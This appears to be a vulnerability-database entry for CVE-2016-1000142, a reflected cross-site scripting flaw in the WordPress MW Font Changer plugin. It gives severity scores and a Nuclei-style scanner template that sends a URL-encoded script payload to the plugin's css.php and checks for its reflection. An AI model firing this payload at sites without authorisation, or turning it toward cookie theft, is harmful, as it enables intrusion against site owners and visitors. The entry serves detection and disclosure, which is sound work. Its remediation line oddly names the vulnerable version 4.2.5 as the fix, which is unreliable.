4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
42.1%
WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2016-1000142
info:
name: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Allows remote attackers to execute arbitrary script or HTML code in the context of the affected site, potentially leading to session hijacking, defacement, or data theft.
remediation: |
Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary.
reference:
- https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc
- http://www.vapidlabs.com/wp/wp_advisory.php?v=435
- https://wordpress.org/plugins/parsi-font
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000142
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-1000142
cwe-id: CWE-79
epss-score: 0.00103
epss-percentile: 0.41915
cpe: cpe:2.3:a:parsi-font_project:parsi-font:4.2.5:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "parsi-font_project"
product: "parsi-font"
framework: wordpress
tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,parsi-font_project
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'WP-Parsi Admin Font Editor'
- 'MW Font Changer'
condition: or
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402204c5bd3395922e4d4d94f70f082d7d7ff53902791d953203ee486a404e88d5de9022014c3ca3455afdf834b5a159409cd9e1dce749840033c1816d47c989482fdb95d:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
42.1%